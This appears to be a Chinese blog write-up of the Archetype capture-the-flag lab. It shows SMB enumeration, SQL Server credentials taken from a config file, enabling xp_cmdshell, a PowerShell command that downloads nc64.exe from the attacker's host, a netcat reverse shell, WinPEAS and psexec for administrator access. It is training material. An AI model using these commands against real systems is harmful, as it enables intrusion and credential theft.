整个流程很明了,扫出开放端口,smb远程连接,拿到数据库密码,利用mssqlclient建立连接,利用xp_cmdshell传nc,反弹shell拿到普通用户权限,利用WinPEAS提权,拿到最高权限密码,再通过psexec拿最高权限shell。整体思路很明确,需要注意的是与数据库连接后xp_cmdshell的开启,通过xp_cmdshell执行powershell命令的写法,通过xp_cmdshell传nc和winpeas时的目录是否有写入权限,反弹nc时端口的开启。这里问答题不一一写出了,答案过程中都有。
常规nmap扫描
可以看到139和445端口开了smb服务,1433端口开了数据库。
用smbclient连接
smbclient -L 10.129.251.225
列出共享文件
连接backups文件夹
将prod.dtsConfig文件get到本地查看,得到passwd:M3g4c0rp123,user id:ARCHETYPE\SqL_svc
接下来利用impacket包下的mssqlclient.py与数据库建立连接
执行SELECT IS_SRVROLEMEMBER(‘sysadmin’) 查看权限,回显1,表示当前用户有sysadmin权限
接着enable_xp_cmdshell; 获取xp_cmdshell
xp_cmdshell 可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,是 sql servevr 的原生工具
也就是说把xp_cmdshell开启后,可以在sql中执行系统命令。
本地监听80端口
访问可以看到我们本机的文件
也就是说,我们可以将payload放在本机中,然后通过xp_cmdshell来访问我们本机文件来下载到目标服务器
然后本地nc监听,目标服务器使用nc连接获取shell
通过wget下载,发现没有权限
换个有执行写入权限的目录
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.16.10/nc64.exe -outfile nc64.exe"
切换到downloads目录,通过wget获取到本机nc64.exe下载到目录下
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;dir"
dir查看文件是否下载成功
开启nc监听4443端口
主机执行以下命令,开启nc
反弹成功
拿到user下的flag
接下来,提权到root用户
使用到WinPEAS工具,这个 WinPEAS 是一个脚本,用于搜索在 Windows 主机上提升权限的可能方法,进行扫描
在主机上执行
在第一个文件中查看到了administrator的密码MEGACORP_4dm1n!!,这个ConsoleHost_history.txt是powershell的历史文件,相当于 Linux 系统的.bash_history
接下来使用impacket包下的psexec.py进行连接登录
PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。
最后连接这里,一直连接出错,就重启了台机器。
得到root权限下的flag
- 本文标题:Archetype靶机
- 本文作者:n3ym4r
- 创建时间:2023-02-03 14:22:00
- 本文链接:https://n3ym4r.github.io/2023/02/03/Archetype靶机/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!